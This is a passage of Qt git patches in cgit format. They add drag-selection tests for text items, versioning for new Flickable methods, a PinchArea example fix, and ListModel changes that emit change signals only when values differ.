cursor.selectionEnd() @@ -2328,6 +2330,19 @@ bool QTextControl::cursorIsFocusIndicator() const return d->cursorIsFocusIndicator; } + +void QTextControl::setDragEnabled(bool enabled) +{ + Q_D(QTextControl); + d->dragEnabled = enabled; +} + +bool QTextControl::isDragEnabled() const +{ + Q_D(const QTextControl); + return d->dragEnabled; +} + #ifndef QT_NO_PRINTER void QTextControl::print(QPrinter *printer) const { diff --git a/src/gui/text/qtextcontrol_p.h b/src/gui/text/qtextcontrol_p.h index 8399d50..2af442f 100644 --- a/src/gui/text/qtextcontrol_p.h +++ b/src/gui/text/qtextcontrol_p.h @@ -175,6 +175,9 @@ public: void setCursorIsFocusIndicator(bool b); bool cursorIsFocusIndicator() const; + void setDragEnabled(bool enabled); + bool isDragEnabled() const; + #ifndef QT_NO_PRINTER void print(QPrinter *printer) const; #endif diff --git a/src/gui/text/qtextcontrol_p_p.h b/src/gui/text/qtextcontrol_p_p.h index c103103..29c04a7 100644 --- a/src/gui/text/qtextcontrol_p_p.h +++ b/src/gui/text/qtextcontrol_p_p.h @@ -174,6 +174,8 @@ public: QBasicTimer trippleClickTimer; QPointF trippleClickPoint; + bool dragEnabled; + bool mousePressed; bool mightStartDrag; diff --git a/tests/auto/declarative/qdeclarativetextedit/tst_qdeclarativetextedit.cpp b/tests/auto/declarative/qdeclarativetextedit/tst_qdeclarativetextedit.cpp index 7af008f..649d34f 100644 --- a/tests/auto/declarative/qdeclarativetextedit/tst_qdeclarativetextedit.cpp +++ b/tests/auto/declarative/qdeclarativetextedit/tst_qdeclarativetextedit.cpp @@ -113,6 +113,7 @@ private slots: void moveCursorSelection(); void mouseSelection_data(); void mouseSelection(); + void dragMouseSelection(); void inputMethodHints(); void cursorDelegate(); @@ -916,6 +917,51 @@ void tst_qdeclarativetextedit::mouseSelection() QVERIFY(str.isEmpty()); } +void tst_qdeclarativetextedit::dragMouseSelection() +{ + QString qmlfile = SRCDIR "/data/mouseselection_true.qml"; + + QDeclarativeView *canvas = createView(qmlfile); + + canvas->show(); + QApplication::setActiveWindow(canvas); + QTest::qWaitForWindowShown(canvas); + QTRY_COMPARE(QApplication::activeWindow(), static_cast(canvas)); + + QVERIFY(canvas->rootObject() != 0); + QDeclarativeTextEdit *textEditObject = qobject_cast(canvas->rootObject()); + QVERIFY(textEditObject != 0); + + textEditObject->setAcceptDrops(true); + + // press-and-drag-and-release from x1 to x2 + int x1 = 10; + int x2 = 70; + int y = textEditObject->height()/2; + QTest::mousePress(canvas->viewport(), Qt::LeftButton, 0, canvas->mapFromScene(QPoint(x1,y))); + { + QMouseEvent mv(QEvent::MouseMove, canvas->mapFromScene(QPoint(x2,y)), Qt::LeftButton, Qt::LeftButton,Qt::NoModifier); + QApplication::sendEvent(canvas->viewport(), &mv); + } + QTest::mouseRelease(canvas->viewport(), Qt::LeftButton, 0, canvas->mapFromScene(QPoint(x2,y))); + QString str1 = textEditObject->selectedText(); + QVERIFY(str1.length() > 3); + + // press and drag the current selection. + x1 = 40; + x2 = 100; + QTest::mousePress(canvas->viewport(), Qt::LeftButton, 0, canvas->mapFromScene(QPoint(x1,y))); + { + QMouseEvent mv(QEvent::MouseMove, canvas->mapFromScene(QPoint(x2,y)), Qt::LeftButton, Qt::LeftButton,Qt::NoModifier); + QApplication::sendEvent(canvas->viewport(), &mv); + } + QTest::mouseRelease(canvas->viewport(), Qt::LeftButton, 0, canvas->mapFromScene(QPoint(x2,y))); + QString str2 = textEditObject->selectedText(); + QVERIFY(str2.length() > 3); + + QVERIFY(str1 != str2); // Verify the second press and drag is a new selection and doesn't not the first moved. +} + void tst_qdeclarativetextedit::inputMethodHints() { QDeclarativeView *canvas = createView(SRCDIR "/data/inputmethodhints.qml"); diff --git a/tests/auto/declarative/qdeclarativetextinput/data/mouseselection_true.qml b/tests/auto/declarative/qdeclarativetextinput/data/mouseselection_true.qml new file mode 100644 index 0000000..8115ba0 --- /dev/null +++ b/tests/auto/declarative/qdeclarativetextinput/data/mouseselection_true.qml @@ -0,0 +1,7 @@ +import QtQuick 1.0 + +TextInput { + focus: true + text: "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ" + selectByMouse: true +} diff --git a/tests/auto/declarative/qdeclarativetextinput/tst_qdeclarativetextinput.cpp b/tests/auto/declarative/qdeclarativetextinput/tst_qdeclarativetextinput.cpp index 1de695e..964125f 100644 --- a/tests/auto/declarative/qdeclarativetextinput/tst_qdeclarativetextinput.cpp +++ b/tests/auto/declarative/qdeclarativetextinput/tst_qdeclarativetextinput.cpp @@ -91,6 +91,7 @@ private slots: void selection(); void moveCursorSelection_data(); void moveCursorSelection(); + void dragMouseSelection(); void horizontalAlignment_data(); void horizontalAlignment(); @@ -576,6 +577,50 @@ void tst_qdeclarativetextinput::moveCursorSelection() } } +void tst_qdeclarativetextinput::dragMouseSelection() +{ + QString qmlfile = SRCDIR "/data/mouseselection_true.qml"; + + QDeclarativeView *canvas = createView(qmlfile); + + canvas->show(); + QApplication::setActiveWindow(canvas); + QTest::qWaitForWindowShown(canvas); + QTRY_COMPARE(QApplication::activeWindow(), static_cast(canvas)); + + QVERIFY(canvas->rootObject() != 0); + QDeclarativeTextInput *textInputObject = qobject_cast(canvas->rootObject()); + QVERIFY(textInputObject != 0); + + // press-and-drag-and-release from x1 to x2 + int x1 = 10; + int x2 = 70; + int y = textInputObject->height()/2; + QTest::mousePress(canvas->viewport(), Qt::LeftButton, 0, canvas->mapFromScene(QPoint(x1,y))); + { + QMouseEvent mv(QEvent::MouseMove, canvas->mapFromScene(QPoint(x2,y)), Qt::LeftButton, Qt::LeftButton,Qt::NoModifier); + QApplication::sendEvent(canvas->viewport(), &mv); + } + QTest::mouseRelease(canvas->viewport(), Qt::LeftButton, 0, canvas->mapFromScene(QPoint(x2,y))); + + QString str1 = textInputObject->selectedText(); + QVERIFY(str1.length() > 3); + + // press and drag the current selection. + x1 = 40; + x2 = 100; + QTest::mousePress(canvas->viewport(), Qt::LeftButton, 0, canvas->mapFromScene(QPoint(x1,y))); + { + QMouseEvent mv(QEvent::MouseMove, canvas->mapFromScene(QPoint(x2,y)), Qt::LeftButton, Qt::LeftButton,Qt::NoModifier); + QApplication::sendEvent(canvas->viewport(), &mv); + } + QTest::mouseRelease(canvas->viewport(), Qt::LeftButton, 0, canvas->mapFromScene(QPoint(x2,y))); + QString str2 = textInputObject->selectedText(); + QVERIFY(str2.length() > 3); + + QVERIFY(str1 != str2); // Verify the second press and drag is a new selection and doesn't not the first moved. +} + void tst_qdeclarativetextinput::horizontalAlignment_data() { QTest::addColumn("hAlign"); -- cgit v0.12 From 7ca750fad4e74929c9c34a98c19bde37747a9dc5 Mon Sep 17 00:00:00 2001 From: Martin Jones Date: Tue, 11 Jan 2011 10:55:14 +1000 Subject: Add versioning for new Flickable methods. Task-number: QTBUG-15148 --- .../graphicsitems/qdeclarativeflickable_p.h | 5 +-- .../graphicsitems/qdeclarativeitemsmodule.cpp | 1 + .../tst_qdeclarativeflickable.cpp | 43 ++++++++++++++++++++++ 3 files changed, 46 insertions(+), 3 deletions(-) diff --git a/src/declarative/graphicsitems/qdeclarativeflickable_p.h b/src/declarative/graphicsitems/qdeclarativeflickable_p.h index ece2db7..4d3da92 100644 --- a/src/declarative/graphicsitems/qdeclarativeflickable_p.h +++ b/src/declarative/graphicsitems/qdeclarativeflickable_p.h @@ -149,9 +149,8 @@ public: FlickableDirection flickableDirection() const; void setFlickableDirection(FlickableDirection); - //XXX Added in QtQuick 1.1 - Q_INVOKABLE void resizeContent(qreal w, qreal h, QPointF center); - Q_INVOKABLE void returnToBounds(); + Q_INVOKABLE Q_REVISION(1) void resizeContent(qreal w, qreal h, QPointF center); + Q_INVOKABLE Q_REVISION(1) void returnToBounds(); Q_SIGNALS: void contentWidthChanged(); diff --git a/src/declarative/graphicsitems/qdeclarativeitemsmodule.cpp b/src/declarative/graphicsitems/qdeclarativeitemsmodule.cpp index 0d386c6..ddbde0b 100644 --- a/src/declarative/graphicsitems/qdeclarativeitemsmodule.cpp +++ b/src/declarative/graphicsitems/qdeclarativeitemsmodule.cpp @@ -179,6 +179,7 @@ void QDeclarativeItemModule::defineModule() qmlRegisterType("QtQuick",1,1,"PinchArea"); qmlRegisterType("QtQuick",1,1,"Pinch"); qmlRegisterType(); + qmlRegisterType("QtQuick",1,1,"Flickable"); qmlRegisterType("QtQuick",1,1,"Repeater"); qmlRegisterType("QtQuick",1,1,"TextEdit"); #ifndef QT_NO_LINEEDIT diff --git a/tests/auto/declarative/qdeclarativeflickable/tst_qdeclarativeflickable.cpp b/tests/auto/declarative/qdeclarativeflickable/tst_qdeclarativeflickable.cpp index c1564bc..10ab467 100644 --- a/tests/auto/declarative/qdeclarativeflickable/tst_qdeclarativeflickable.cpp +++ b/tests/auto/declarative/qdeclarativeflickable/tst_qdeclarativeflickable.cpp @@ -72,6 +72,8 @@ private slots: void qgraphicswidget(); void resizeContent(); void returnToBounds(); + void testQtQuick11Attributes(); + void testQtQuick11Attributes_data(); private: QDeclarativeEngine engine; @@ -331,6 +333,47 @@ void tst_qdeclarativeflickable::returnToBounds() delete root; } +void tst_qdeclarativeflickable::testQtQuick11Attributes() +{ + QFETCH(QString, code); + QFETCH(QString, warning); + QFETCH(QString, error); + + QDeclarativeEngine engine; + QObject *obj; + + QDeclarativeComponent invalid(&engine); + invalid.setData("import QtQuick 1.0; Flickable { " + code.toUtf8() + " }", QUrl("")); + QTest::ignoreMessage(QtWarningMsg, warning.toUtf8()); + obj = invalid.create(); + QCOMPARE(invalid.errorString(), error); + delete obj; + + QDeclarativeComponent valid(&engine); + valid.setData("import QtQuick 1.1; Flickable { " + code.toUtf8() + " }", QUrl("")); + obj = valid.create(); + QVERIFY(obj); + QVERIFY(valid.errorString().isEmpty()); + delete obj; +} + +void tst_qdeclarativeflickable::testQtQuick11Attributes_data() +{ + QTest::addColumn("code"); + QTest::addColumn("warning"); + QTest::addColumn("error"); + + QTest::newRow("resizeContent") << "Component.onCompleted: resizeContent(100,100,Qt.point(50,50))" + << ":1: ReferenceError: Can't find variable: resizeContent" + << ""; + + QTest::newRow("returnToBounds") << "Component.onCompleted: returnToBounds()" + << ":1: ReferenceError: Can't find variable: returnToBounds" + << ""; + +} + + template T *tst_qdeclarativeflickable::findItem(QGraphicsObject *parent, const QString &objectName) { -- cgit v0.12 From 9fbe02cf8a76d4cca0a28d9fb92a2b181494c82d Mon Sep 17 00:00:00 2001 From: Joona Petrell Date: Mon, 10 Jan 2011 15:54:54 +1000 Subject: Fix examples autotest failure Task-number: Reviewed-by: Martin Jones --- examples/declarative/touchinteraction/pincharea/flickresize.qml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/examples/declarative/touchinteraction/pincharea/flickresize.qml b/examples/declarative/touchinteraction/pincharea/flickresize.qml index aa426e7..a2f81ff 100644 --- a/examples/declarative/touchinteraction/pincharea/flickresize.qml +++ b/examples/declarative/touchinteraction/pincharea/flickresize.qml @@ -54,7 +54,7 @@ Rectangle { PinchArea { width: Math.max(flick.contentWidth, flick.width) height: Math.max(flick.contentHeight, flick.height) - onPinchChanged: { + onPinchUpdated: { // adjust content pos due to drag flick.contentX += pinch.previousCenter.x - pinch.center.x flick.contentY += pinch.previousCenter.y - pinch.center.y -- cgit v0.12 From aca9a8d95f1fa9c29a7650d528616a0962732db3 Mon Sep 17 00:00:00 2001 From: Bea Lam Date: Mon, 10 Jan 2011 14:08:44 +1000 Subject: set() and setProperty() should not always trigger change signals Fix set() and setProperty() to only trigger itemsChanged(), and the the Changed signals for items returned by get(), if the new value is different from the old one. The exception to this are list values, as it is inefficient to check the sublists and also the model classes are due to be revised. This also fixes models used with a WorkerScript to emit itemsChanged() with the correct roles. Task-number: QTBUG-14620 Reviewed-by: Michael Brasser --- src/declarative/util/qdeclarativelistmodel.cpp | 83 +++++++---- src/declarative/util/qdeclarativelistmodel_p.h | 3 + src/declarative/util/qdeclarativelistmodel_p_p.h | 6 +- .../util/qdeclarativelistmodelworkeragent.cpp | 28 ++-- .../util/qdeclarativelistmodelworkeragent_p.h | 5 +- .../tst_qdeclarativelistmodel.cpp | 159 ++++++++++++++++++++- 6 files changed, 238 insertions(+), 46 deletions(-) diff --git a/src/declarative/util/qdeclarativelistmodel.cpp b/src/declarative/util/qdeclarativelistmodel.cpp index 538e8af..8290665 100644 --- a/src/declarative/util/qdeclarativelistmodel.cpp +++ b/src/declarative/util/qdeclarativelistmodel.cpp @@ -559,6 +559,14 @@ QScriptValue QDeclarativeListModel::get(int index) const */ void QDeclarativeListModel::set(int index, const QScriptValue& valuemap) { + QList roles; + set(index, valuemap, &roles); + if (!roles.isEmpty() && !inWorkerThread()) + emit itemsChanged(index, 1, roles); +} + +void QDeclarativeListModel::set(int index, const QScriptValue& valuemap, QList *roles) +{ if (!valuemap.isObject() || valuemap.isArray()) { qmlInfo(this) << tr("set: value is not an object"); return; @@ -571,14 +579,10 @@ void QDeclarativeListModel::set(int index, const QScriptValue& valuemap) if (index == count()) { append(valuemap); } else { - QList roles; if (m_flat) - m_flat->set(index, valuemap, &roles); + m_flat->set(index, valuemap, roles); else - m_nested->set(index, valuemap, &roles); - - if (!inWorkerThread()) - emit itemsChanged(index, 1, roles); + m_nested->set(index, valuemap, roles); } } @@ -597,19 +601,23 @@ void QDeclarativeListModel::set(int index, const QScriptValue& valuemap) */ void QDeclarativeListModel::setProperty(int index, const QString& property, const QVariant& value) { + QList roles; + setProperty(index, property, value, &roles); + if (!roles.isEmpty() && !inWorkerThread()) + emit itemsChanged(index, 1, roles); +} + +void QDeclarativeListModel::setProperty(int index, const QString& property, const QVariant& value, QList *roles) +{ if (count() == 0 || index >= count() || index < 0) { qmlInfo(this) << tr("set: index %1 out of range").arg(index); return; } - QList roles; if (m_flat) - m_flat->setProperty(index, property, value, &roles); + m_flat->setProperty(index, property, value, roles); else - m_nested->setProperty(index, property, value, &roles); - - if (!inWorkerThread()) - emit itemsChanged(index, 1, roles); + m_nested->setProperty(index, property, value, roles); } /*! @@ -1011,9 +1019,11 @@ void FlatListModel::setProperty(int index, const QString& property, const QVaria } else { role = iter.value(); } - roles->append(role); - m_values[index][role] = value; + if (m_values[index][role] != value) { + roles->append(role); + m_values[index][role] = value; + } } void FlatListModel::move(int from, int to, int n) @@ -1043,6 +1053,10 @@ bool FlatListModel::addValue(const QScriptValue &value, QHash *ro iter = m_strings.insert(name, role); if (roles) roles->append(role); + } else { + int role = iter.value(); + if (roles && row->contains(role) && row->value(role) != v) + roles->append(role); } row->insert(*iter, v); } @@ -1151,14 +1165,14 @@ void FlatListScriptClass::setProperty(Object *obj, const Identifier &name, const QHash &row = m_model->m_values[index]; row[role] = value.toVariant(); + QList roles; + roles << role; if (m_model->m_parentAgent) { // This is the list in the worker thread, so tell the agent to // emit itemsChanged() later - m_model->m_parentAgent->changedData(index, 1); + m_model->m_parentAgent->changedData(index, 1, roles); } else { // This is the list in the main thread, so emit itemsChanged() - QList roles; - roles << role; emit m_model->m_listModel->itemsChanged(index, 1, roles); } } @@ -1350,7 +1364,9 @@ void NestedListModel::set(int index, const QScriptValue& valuemap, QList *r Q_ASSERT(index >=0 && index < count()); ModelNode *node = qvariant_cast(_root->values.at(index)); - node->setObjectValue(valuemap); + bool emitItemsChanged = node->setObjectValue(valuemap); + if (!emitItemsChanged) + return; QScriptValueIterator it(valuemap); while (it.hasNext()) { @@ -1369,7 +1385,9 @@ void NestedListModel::setProperty(int index, const QString& property, const QVar Q_ASSERT(index >=0 && index < count()); ModelNode *node = qvariant_cast(_root->values.at(index)); - node->setProperty(property, value); + bool emitItemsChanged = node->setProperty(property, value); + if (!emitItemsChanged) + return; int r = roleStrings.indexOf(property); if (r < 0) { @@ -1441,26 +1459,37 @@ void ModelNode::clear() properties.clear(); } -void ModelNode::setObjectValue(const QScriptValue& valuemap, bool writeToCache) { +bool ModelNode::setObjectValue(const QScriptValue& valuemap, bool writeToCache) +{ + bool emitItemsChanged = false; + QScriptValueIterator it(valuemap); while (it.hasNext()) { it.next(); + ModelNode *prev = properties.value(it.name()); ModelNode *value = new ModelNode(m_model); QScriptValue v = it.value(); + if (v.isArray()) { value->isArray = true; value->setListValue(v); if (writeToCache && objectCache) objectCache->setValue(it.name().toUtf8(), QVariant::fromValue(value->model(m_model))); + emitItemsChanged = true; // for now, too inefficient to check whether list and sublists have changed } else { value->values << v.toVariant(); if (writeToCache && objectCache) objectCache->setValue(it.name().toUtf8(), value->values.last()); + if (!emitItemsChanged && prev && prev->values.count() == 1 + && prev->values[0] != value->values.last()) { + emitItemsChanged = true; + } } if (properties.contains(it.name())) delete properties[it.name()]; properties.insert(it.name(), value); } + return emitItemsChanged; } void ModelNode::setListValue(const QScriptValue& valuelist) { @@ -1483,9 +1512,12 @@ void ModelNode::setListValue(const QScriptValue& valuelist) { } } -void ModelNode::setProperty(const QString& prop, const QVariant& val) { +bool ModelNode::setProperty(const QString& prop, const QVariant& val) { QHash::const_iterator it = properties.find(prop); + bool emitItemsChanged = false; if (it != properties.end()) { + if (val != (*it)->values[0]) + emitItemsChanged = true; (*it)->values[0] = val; } else { ModelNode *n = new ModelNode(m_model); @@ -1494,6 +1526,7 @@ void ModelNode::setProperty(const QString& prop, const QVariant& val) { } if (objectCache) objectCache->setValue(prop.toUtf8(), val); + return emitItemsChanged; } void ModelNode::updateListIndexes() @@ -1561,7 +1594,7 @@ ModelObject::ModelObject(ModelNode *node, NestedListModel *model, QScriptEngine void ModelObject::setValue(const QByteArray &name, const QVariant &val) { m_meta->setValue(name, val); - setProperty(name.constData(), val); + //setProperty(name.constData(), val); } void ModelObject::setNodeUpdatesEnabled(bool enable) @@ -1588,9 +1621,9 @@ void ModelNodeMetaObject::propertyWritten(int index) QScriptValue sv = m_seng->newObject(); sv.setProperty(propName, m_seng->newVariant(value)); - m_obj->m_node->setObjectValue(sv, false); - - m_obj->m_node->changedProperty(propName); + bool changed = m_obj->m_node->setObjectValue(sv, false); + if (changed) + m_obj->m_node->changedProperty(propName); } diff --git a/src/declarative/util/qdeclarativelistmodel_p.h b/src/declarative/util/qdeclarativelistmodel_p.h index 90036f9..0b4becd 100644 --- a/src/declarative/util/qdeclarativelistmodel_p.h +++ b/src/declarative/util/qdeclarativelistmodel_p.h @@ -103,6 +103,9 @@ private: // Constructs a flat list model for a worker agent QDeclarativeListModel(const QDeclarativeListModel *orig, QDeclarativeListModelWorkerAgent *parent); + void set(int index, const QScriptValue&, QList *roles); + void setProperty(int index, const QString& property, const QVariant& value, QList *roles); + bool flatten(); bool inWorkerThread() const; diff --git a/src/declarative/util/qdeclarativelistmodel_p_p.h b/src/declarative/util/qdeclarativelistmodel_p_p.h index 43a0a9b..ec1b538 100644 --- a/src/declarative/util/qdeclarativelistmodel_p_p.h +++ b/src/declarative/util/qdeclarativelistmodel_p_p.h @@ -190,7 +190,7 @@ public: bool insert(int index, const QScriptValue&); QScriptValue get(int index) const; void set(int index, const QScriptValue&, QList *roles); - void setProperty(int index, const QString& property, const QVariant& value, QList *role); + void setProperty(int index, const QString& property, const QVariant& value, QList *roles); void move(int from, int to, int count); QVariant valueForNode(ModelNode *, bool *hasNested = 0) const; @@ -255,9 +255,9 @@ struct ModelNode QDeclarativeListModel *model(const NestedListModel *model); ModelObject *object(const NestedListModel *model); - void setObjectValue(const QScriptValue& valuemap, bool writeToCache = true); + bool setObjectValue(const QScriptValue& valuemap, bool writeToCache = true); void setListValue(const QScriptValue& valuelist); - void setProperty(const QString& prop, const QVariant& val); + bool setProperty(const QString& prop, const QVariant& val); void changedProperty(const QString &name) const; void updateListIndexes(); static void dump(ModelNode *node, int ind); diff --git a/src/declarative/util/qdeclarativelistmodelworkeragent.cpp b/src/declarative/util/qdeclarativelistmodelworkeragent.cpp index 852b055..76d3048 100644 --- a/src/declarative/util/qdeclarativelistmodelworkeragent.cpp +++ b/src/declarative/util/qdeclarativelistmodelworkeragent.cpp @@ -60,25 +60,25 @@ void QDeclarativeListModelWorkerAgent::Data::clearChange() void QDeclarativeListModelWorkerAgent::Data::insertChange(int index, int count) { - Change c = { Change::Inserted, index, count, 0 }; + Change c = { Change::Inserted, index, count, 0, QList() }; changes << c; } void QDeclarativeListModelWorkerAgent::Data::removeChange(int index, int count) { - Change c = { Change::Removed, index, count, 0 }; + Change c = { Change::Removed, index, count, 0, QList() }; changes << c; } void QDeclarativeListModelWorkerAgent::Data::moveChange(int index, int count, int to) { - Change c = { Change::Moved, index, count, to }; + Change c = { Change::Moved, index, count, to, QList() }; changes << c; } -void QDeclarativeListModelWorkerAgent::Data::changedChange(int index, int count) +void QDeclarativeListModelWorkerAgent::Data::changedChange(int index, int count, const QList &roles) { - Change c = { Change::Changed, index, count, 0 }; + Change c = { Change::Changed, index, count, 0, roles }; changes << c; } @@ -165,14 +165,18 @@ QScriptValue QDeclarativeListModelWorkerAgent::get(int index) const void QDeclarativeListModelWorkerAgent::set(int index, const QScriptValue &value) { - m_copy->set(index, value); - data.changedChange(index, 1); + QList roles; + m_copy->set(index, value, &roles); + if (!roles.isEmpty()) + data.changedChange(index, 1, roles); } void QDeclarativeListModelWorkerAgent::setProperty(int index, const QString& property, const QVariant& value) { - m_copy->setProperty(index, property, value); - data.changedChange(index, 1); + QList roles; + m_copy->setProperty(index, property, value, &roles); + if (!roles.isEmpty()) + data.changedChange(index, 1, roles); } void QDeclarativeListModelWorkerAgent::move(int from, int to, int count) @@ -194,9 +198,9 @@ void QDeclarativeListModelWorkerAgent::sync() mutex.unlock(); } -void QDeclarativeListModelWorkerAgent::changedData(int index, int count) +void QDeclarativeListModelWorkerAgent::changedData(int index, int count, const QList &roles) { - data.changedChange(index, count); + data.changedChange(index, count, roles); } bool QDeclarativeListModelWorkerAgent::event(QEvent *e) @@ -255,7 +259,7 @@ bool QDeclarativeListModelWorkerAgent::event(QEvent *e) emit m_orig->itemsMoved(change.index, change.to, change.count); break; case Change::Changed: - emit m_orig->itemsChanged(change.index, change.count, orig->m_roles.keys()); + emit m_orig->itemsChanged(change.index, change.count, change.roles); break; } } diff --git a/src/declarative/util/qdeclarativelistmodelworkeragent_p.h b/src/declarative/util/qdeclarativelistmodelworkeragent_p.h index 10c3bca..0823b7e 100644 --- a/src/declarative/util/qdeclarativelistmodelworkeragent_p.h +++ b/src/declarative/util/qdeclarativelistmodelworkeragent_p.h @@ -124,6 +124,7 @@ private: int index; // Inserted/Removed/Moved/Changed int count; // Inserted/Removed/Moved/Changed int to; // Moved + QList roles; }; struct Data { @@ -133,7 +134,7 @@ private: void insertChange(int index, int count); void removeChange(int index, int count); void moveChange(int index, int count, int to); - void changedChange(int index, int count); + void changedChange(int index, int count, const QList &roles); }; Data data; @@ -143,7 +144,7 @@ private: QDeclarativeListModel *list; }; - void changedData(int index, int count); + void changedData(int index, int count, const QList &roles); QAtomicInt m_ref; QDeclarativeListModel *m_orig; diff --git a/tests/auto/declarative/qdeclarativelistmodel/tst_qdeclarativelistmodel.cpp b/tests/auto/declarative/qdeclarativelistmodel/tst_qdeclarativelistmodel.cpp index 55f7421..bdc5988 100644 --- a/tests/auto/declarative/qdeclarativelistmodel/tst_qdeclarativelistmodel.cpp +++ b/tests/auto/declarative/qdeclarativelistmodel/tst_qdeclarativelistmodel.cpp @@ -59,6 +59,7 @@ #endif Q_DECLARE_METATYPE(QList) +Q_DECLARE_METATYPE(QList) class tst_qdeclarativelistmodel : public QObject { @@ -101,6 +102,10 @@ private slots: void get_nested_data(); void crash_model_with_multiple_roles(); void set_model_cache(); + void property_changes(); + void property_changes_data(); + void property_changes_worker(); + void property_changes_worker_data(); }; int tst_qdeclarativelistmodel::roleFromName(const QDeclarativeListModel *model, const QString &roleName) { @@ -298,13 +303,10 @@ void tst_qdeclarativelistmodel::dynamic_data() QTest::newRow("nested-append3") << "{append({'foo':123,'bars':[{'a':1},{'a':2},{'a':3}]});get(0).bars.append({'a':4});get(0).bars.get(3).a}" << 4 << ""; QTest::newRow("nested-insert") << "{append({'foo':123});insert(0,{'bars':[{'a':1},{'b':2},{'c':3}]});get(0).bars.get(0).a}" << 1 << ""; - QTest::newRow("nested-set") << "{append({'foo':123});set(0,{'foo':[{'x':123}]});get(0).foo.get(0).x}" << 123 << ""; + QTest::newRow("nested-set") << "{append({'foo':[{'x':1}]});set(0,{'foo':[{'x':123}]});get(0).foo.get(0).x}" << 123 << ""; QTest::newRow("nested-count") << "{append({'foo':123,'bars':[{'a':1},{'a':2},{'a':3}]}); get(0).bars.count}" << 3 << ""; QTest::newRow("nested-clear") << "{append({'foo':123,'bars':[{'a':1},{'a':2},{'a':3}]}); get(0).bars.clear(); get(0).bars.count}" << 0 << ""; - - // XXX - //QTest::newRow("nested-setprop") << "{append({'foo':123});setProperty(0,'foo',[{'x':123}]);get(0).foo.get(0).x}" << 123 << ""; } void tst_qdeclarativelistmodel::dynamic() @@ -421,6 +423,9 @@ void tst_qdeclarativelistmodel::dynamic_worker_sync() if (QByteArray(QTest::currentDataTag()).startsWith("nested")) QTest::ignoreMessage(QtWarningMsg, ": QML ListModel: Cannot add list-type data when modifying or after modification from a worker script"); + if (QByteArray(QTest::currentDataTag()).startsWith("nested-set")) + QTest::ignoreMessage(QtWarningMsg, ": QML ListModel: Cannot add list-type data when modifying or after modification from a worker script"); + QVERIFY(QMetaObject::invokeMethod(item, "evalExpressionViaWorker", Q_ARG(QVariant, operations.mid(0, operations.length()-1)))); waitForWorker(item); @@ -940,6 +945,152 @@ void tst_qdeclarativelistmodel::set_model_cache() QVERIFY(model->property("ok").toBool()); } +void tst_qdeclarativelistmodel::property_changes() +{ + QFETCH(QString, script_setup); + QFETCH(QString, script_change); + QFETCH(QString, roleName); + QFETCH(int, listIndex); + QFETCH(bool, itemsChanged); + QFETCH(QString, testExpression); + + QDeclarativeEngine engine; + QDeclarativeListModel model; + QDeclarativeEngine::setContextForObject(&model, engine.rootContext()); + engine.rootContext()->setContextObject(&model); + + QDeclarativeExpression expr(engine.rootContext(), &model, script_setup); + expr.evaluate(); + QVERIFY2(!expr.hasError(), QTest::toString(expr.error().toString())); + + QString signalHandler = "on" + QString(roleName[0].toUpper()) + roleName.mid(1, roleName.length()) + "Changed:"; + QString qml = "import QtQuick 1.0\n" + "Connections {\n" + "property bool gotSignal: false\n" + "target: model.get(0)\n" + + signalHandler + " gotSignal = true\n" + "}\n"; + QDeclarativeComponent component(&engine); + component.setData(qml.toUtf8(), QUrl::fromLocalFile("")); + engine.rootContext()->setContextProperty("model", &model); + QObject *connectionsObject = component.create(); + QVERIFY2(component.errorString().isEmpty(), QTest::toString(component.errorString())); + + QSignalSpy spyItemsChanged(&model, SIGNAL(itemsChanged(int, int, QList))); + + expr.setExpression(script_change); + expr.evaluate(); + QVERIFY2(!expr.hasError(), QTest::toString(expr.error())); + + // test the object returned by get() emits the correct signals + QCOMPARE(connectionsObject->property("gotSignal").toBool(), itemsChanged); + + // test itemsChanged() is emitted correctly + if (itemsChanged) { + QCOMPARE(spyItemsChanged.count(), 1); + QCOMPARE(spyItemsChanged.at(0).at(0).toInt(), listIndex); + QCOMPARE(spyItemsChanged.at(0).at(1).toInt(), 1); + } else { + QCOMPARE(spyItemsChanged.count(), 0); + } + + expr.setExpression(testExpression); + QCOMPARE(expr.evaluate().toBool(), true); + + delete connectionsObject; +} + +void tst_qdeclarativelistmodel::property_changes_data() +{ + QTest::addColumn("script_setup"); + QTest::addColumn("script_change"); + QTest::addColumn("roleName"); + QTest::addColumn("listIndex"); + QTest::addColumn("itemsChanged"); + QTest::addColumn("testExpression"); + + QTest::newRow("set: plain") << "append({'a':123, 'b':456, 'c':789});" << "set(0,{'b':123});" + << "b" << 0 << true << "get(0).b == 123"; + QTest::newRow("setProperty: plain") << "append({'a':123, 'b':456, 'c':789});" << "setProperty(0, 'b', 123);" + << "b" << 0 << true << "get(0).b == 123"; + + QTest::newRow("set: plain, no changes") << "append({'a':123, 'b':456, 'c':789});" << "set(0,{'b':456});" + << "b" << 0 << false << "get(0).b == 456"; + QTest::newRow("setProperty: plain, no changes") << "append({'a':123, 'b':456, 'c':789});" << "setProperty(0, 'b', 456);" + << "b" << 0 << false << "get(0).b == 456"; + + // Following tests only call set() since setProperty() only allows plain + // values, not lists, as the argument. + // Note that when a list is changed, itemsChanged() is currently always + // emitted regardless of whether it actually changed or not. + + QTest::newRow("nested-set: list, new size") << "append({'a':123, 'b':[{'a':1},{'a':2},{'a':3}], 'c':789});" << "set(0,{'b':[{'a':1},{'a':2}]});" + << "b" << 0 << true << "get(0).b.get(0).a == 1 && get(0).b.get(1).a == 2"; + + QTest::newRow("nested-set: list, empty -> non-empty") << "append({'a':123, 'b':[], 'c':789});" << "set(0,{'b':[{'a':1},{'a':2},{'a':3}]});" + << "b" << 0 << true << "get(0).b.get(0).a == 1 && get(0).b.get(1).a == 2 && get(0).b.get(2).a == 3"; + + QTest::newRow("nested-set: list, non-empty -> empty") << "append({'a':123, 'b':[{'a':1},{'a':2},{'a':3}], 'c':789});" << "set(0,{'b':[]});" + << "b" << 0 << true << "get(0).b.count == 0"; + + QTest::newRow("nested-set: list, same size, different values") << "append({'a':123, 'b':[{'a':1},{'a':2},{'a':3}], 'c':789});" << "set(0,{'b':[{'a':1},{'a':222},{'a':3}]});" + << "b" << 0 << true << "get(0).b.get(0).a == 1 && get(0).b.get(1).a == 222 && get(0).b.get(2).a == 3"; + + QTest::newRow("nested-set: list, no changes") << "append({'a':123, 'b':[{'a':1},{'a':2},{'a':3}], 'c':789});" << "set(0,{'b':[{'a':1},{'a':2},{'a':3}]});" + << "b" << 0 << true << "get(0).b.get(0).a == 1 && get(0).b.get(1).a == 2 && get(0).b.get(2).a == 3"; + + QTest::newRow("nested-set: list, no changes, 